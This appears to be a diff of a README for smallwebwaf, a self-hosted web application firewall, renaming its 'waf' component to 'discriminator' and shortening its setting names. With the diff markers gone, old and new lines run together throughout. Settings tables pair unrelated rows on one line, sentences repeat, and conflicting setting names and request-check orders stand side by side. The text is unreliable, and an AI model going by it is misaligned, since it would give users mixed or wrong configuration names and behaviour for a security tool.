| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | | `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | | `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | | `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. | | `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | | `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. | | `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | | `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. | | `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | | `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | | `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | | `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | | `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | | `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | | `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | | `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. | | `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | | `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | | `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | | `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | | `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | | `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. | | `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. | | `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | | `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. | | `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. | | `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. | | `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. | | `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | | `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | | `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | | `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | | `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. | | `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. | | `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | | `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | | `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | | `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in [`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings. full, and the limits that are fixed rather than settings.
@@ -354,8 +351,8 @@ own, where each reaches the others by service name. Each example publishes
### Smallest setup ### Smallest setup
One app, `rproxy` in front of it, and `waf` with a volume for its state files, One app, `rproxy` in front of it, and `discriminator` with a volume for its
every setting at its default. state files, every setting at its default.
```yaml ```yaml
services: services:
@@ -366,20 +363,20 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWW_RPROXY_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
volumes: volumes:
waf-state: discriminator-state:
``` ```
### Custom per-address limits ### Custom per-address limits
@@ -402,45 +399,45 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWW_RPROXY_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
# Monitoring skips every check. # Monitoring skips every check.
SWW_WAF_ALLOW_NETS: 192.0.2.10 SWW_ALLOW_NETS: 192.0.2.10
# The office and the automation host are never rate limited. # The office and the automation host are never rate limited.
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
# A netblock that sends nothing wanted. # A netblock that sends nothing wanted.
SWW_WAF_DENY_NETS: 198.51.100.128/25 SWW_DENY_NETS: 198.51.100.128/25
# Tighter limits for everyone else: a small static site. # Tighter limits for everyone else: a small static site.
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60" SWW_RATE_LIMIT_PER_MINUTE: "60"
SWW_WAF_RATE_LIMIT_PER_HOUR: "600" SWW_RATE_LIMIT_PER_HOUR: "600"
SWW_WAF_RATE_LIMIT_PER_DAY: "3000" SWW_RATE_LIMIT_PER_DAY: "3000"
# Hosting networks and one country get a share of those limits. # Hosting networks and one country get a share of those limits.
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25 SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
# Paths only scanners ask for; one request bans the client. # Paths only scanners ask for; one request bans the client.
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
# Answer a refused client with 429 rather than 403. # Answer a refused client with 429 rather than 403.
SWW_WAF_BAN_RESPONSE: "429" SWW_BAN_RESPONSE: "429"
SWW_WAF_LIMIT_BAN_DURATION: 30m SWW_LIMIT_BAN_DURATION: 30m
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
volumes: volumes:
waf-state: discriminator-state:
``` ```
### `rproxy` beside the app ### `rproxy` beside the app
The app is built on the `smallwebwaf` image, with `rproxy` inside its container. The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
container". `rproxy` answers `503` to every request while `waf` is down, and container". `rproxy` answers `503` to every request while `discriminator` is
`waf`: down, and `discriminator`:
- observes before it enforces; - observes before it enforces;
- looks addresses up in a local database rather than GeoJS; - looks addresses up in a local database rather than GeoJS;
@@ -453,33 +450,33 @@ services:
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside. # A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
build: ./app build: ./app
environment: environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
# Answer 503 rather than pass a request on while waf is down. # Answer 503 rather than pass a request on while discriminator is down.
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny SWRP_DEFAULT_DISPOSITION: deny
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
SWW_WAF_INSTANCE_NAME: fsn1/waf SWW_INSTANCE_NAME: fsn1/discriminator
# Refuse nothing yet; log what enforce mode would have done. # Refuse nothing yet; log what enforce mode would have done.
SWW_WAF_MODE: observe SWW_MODE: observe
# Look addresses up in a local IPinfo Lite database, never GeoJS. # Look addresses up in a local IPinfo Lite database, never GeoJS.
SWW_WAF_LOOKUP_SOURCE: file SWW_LOOKUP_SOURCE: file
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
# Alerts to an ntfy topic, with its token read from a file. # Alerts to an ntfy topic, with its token read from a file.
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
- /srv/ipinfo:/var/lib/ipinfo:ro - /srv/ipinfo:/var/lib/ipinfo:ro
- /srv/sww/tokens:/etc/sww/tokens:ro - /srv/sww/tokens:/etc/sww/tokens:ro
volumes: volumes:
waf-state: discriminator-state:
``` ```
The database is mounted by its directory, not by file, so that a replaced The database is mounted by its directory, not by file, so that a replaced
@@ -501,59 +498,58 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
### What happens to a request ### What happens to a request
A request goes through these steps, in this order. Once `waf` refuses a request, A request goes through these steps, in this order. Once `discriminator` refuses
the steps after that are skipped, apart from the report, and nothing of the a request, the steps after that are skipped, apart from the report, and nothing
request reaches the app. of the request reaches the app.
`rproxy` takes the first two: `rproxy` takes the first two:
1. The health check, `GET /_sww/healthz`, is answered at once. 1. The health check, `GET /_sww/healthz`, is answered at once.
2. The visitor's address is worked out from `X-Forwarded-For`, believed only 2. The visitor's address is worked out from `X-Forwarded-For`, believed only
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
visitor sent it, with the first 64 KiB of its body. the visitor sent it, with the first 64 KiB of its body.
`waf` takes the checks: `discriminator` takes the checks:
3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips 3. The tag lists.
the header limits. 4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
5. The bans. 5. The bans.
6. The lookup of the client's AS number and country. 6. The lookup of the client's AS number and country.
7. The country list. 7. The country list.
8. The reputation sources. 8. The reputation sources.
9. The tag refusals of `SWW_WAF_TAG_DENY`. 9. The tag refusals of `SWW_TAG_DENY`.
10. The client's limit percentage, from its tags, its AS number, its country or 10. The client's limit percentage, from its tags, its AS number, its country or
a reputation hit. a reputation hit.
11. The rate limits. 11. The rate limits.
12. The trap paths. 12. The trap paths.
13. The rule files. 13. The rule files.
14. The Core Rule Set. 14. The header limits, and then the Core Rule Set.
15. The tag refusals again, so that `exploitsignature` can refuse too. 15. The tag refusals again, so that `exploitsignature` can refuse too.
16. A path under `/_sww/` is answered `404`, so that the app never sees that 16. A path under `/_sww/` is answered `404`, so that the app never sees that
prefix. prefix.
`rproxy` takes the rest, with `waf` counting at the end: `rproxy` takes the rest, with `discriminator` counting at the end:
17. The request is passed to the app, streaming. 17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body 18. After the answer, `rproxy` sends `discriminator` a report with the status
bytes each way. For an allowed request, `waf` counts the bytes and the body bytes each way. For an allowed request, `discriminator` counts
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
they take it past one, and adds the request to the client's history. they take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
instead. A request over the header limits of step 3 is answered `431`, and bans request over the header limits of step 14 is answered `431`, and bans nobody
nobody either. `rproxy` itself answers `405` to a method it does not pass on, either. `rproxy` itself answers `405` to a method it does not pass on, and the
and the status for a size or time limit, such as `413` for a body too large. status for a size or time limit, such as `413` for a body too large.
### Clients and bans ### Clients and bans
- A client is one IPv4 address or one IPv6 netblock of - A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64. since one abuser usually controls a whole /64.
- Each limit is counted over a sliding window with a few integers per client. - Each limit is counted over a sliding window with a few integers per client.
The table of clients and the table of bans each have a bound The table of clients and the table of bans each have a bound
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too. (`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
- A ban refuses every request from its netblock until it ends. Requests refused - A ban refuses every request from its netblock until it ends. Requests refused
under a ban count toward no limit. A permanent ban ends only when an admin under a ban count toward no limit. A permanent ban ends only when an admin
lifts it. lifts it.
@@ -564,93 +560,70 @@ and the status for a size or time limit, such as `413` for a body too large.
### Request tags ### Request tags
Each request gets tags from what `waf` knows of its client, written in the Each request gets tags from what `discriminator` knows of its client, written in
`tags` field of its log line: the `tags` field of its log line:
- `asn=<number>` and `country=<code>`, from the lookup; - `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as - one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
`torexit` or `vpn=mullvad`; or `vpn=mullvad`;
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists - `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client; the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request; - `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while - `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_WAF_ROUTEWATCH_URL` is set. `SWW_ROUTEWATCH_URL` is set.
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT` `SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
### Attack detection ### Attack detection
- The Core Rule Set reads the method, the URL with its query string, and the - The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge, front of a code forge, bodies carry what people write and publish, which the
bodies carry what people write and publish, which the rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
requests to a code forge through, such as git over HTTP and sign-in through requests get through to the apps listed below. No setting undoes the changes;
Git Credential Manager. No setting undoes the changes; "Attack detection" in "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
[`SPEC.md`](SPEC.md) lists them. - These apps work out of the box at the default settings, and their recorded
- Each supported app also has its own fixes, which let its ordinary requests ordinary requests pass the Core Rule Set:
through. Its recorded ordinary requests pass the Core Rule Set at the default - gitea: git over HTTP and sign-in through Git Credential Manager get
settings. The supported apps, by their names in `SWW_WAF_APPS`, are: through. On gitea's own paths, its searches, file names and branch names
- `gitea`, whose fixes let its container registry, searches, file names, do too.
branch names and repository names through; - WordPress: saving a post from the block editor gets through. On
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own WordPress's own paths, its searches, names and file names do too.
fixes let its searches through; - Drupal: on Drupal's own paths, the page to return to, its searches and its
- `wordpress`, whose fixes let through its searches, its names, its file names get through.
names and a post saved from the block editor; - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
- `drupal`, whose fixes let through the page to return to, its searches and wikitext get through.
its names; - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
- `mediawiki`, whose fixes let through its searches, its page titles, its posts and deliveries from other servers get through.
names and its wikitext; - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
- `mastodon`, whose fixes let through its searches, its names, its email addresses and encrypted file names get through.
addresses, its posts and deliveries from other servers; - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
- `vaultwarden`, whose fixes let through its names, its password hints, its WebDAV methods, searches, file names, account names, comments and
email addresses and its encrypted file names; documents do too.
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings and a post saved from
its editor, HTML included.
- A random password, as a password manager makes one, gets through these forms: - A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on - signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost; WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
- moving or deleting the account, on Mastodon; - moving or deleting the account, on Mastodon;
- deleting the account, on gitea; - deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master - the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself. password, not the password itself.
- `SWW_WAF_APPS` names the apps each hostname serves. A hostname gets only its - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
own apps' fixes. A hostname `SWW_WAF_APPS` does not list gets none. Unset, fields or paths.
every app's fixes apply to every hostname.
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
own fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
while `waf` runs. The image ships one file of probes no real visitor sends while `discriminator` runs. The image ships one file of probes no real visitor
(see [`docs/rules.md`](docs/rules.md)). sends (see [`docs/rules.md`](docs/rules.md)).
### State and cache files ### State files
`waf` keeps everything in memory, and JSON files hold a copy: `discriminator` keeps everything in memory, and the five JSON files in
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
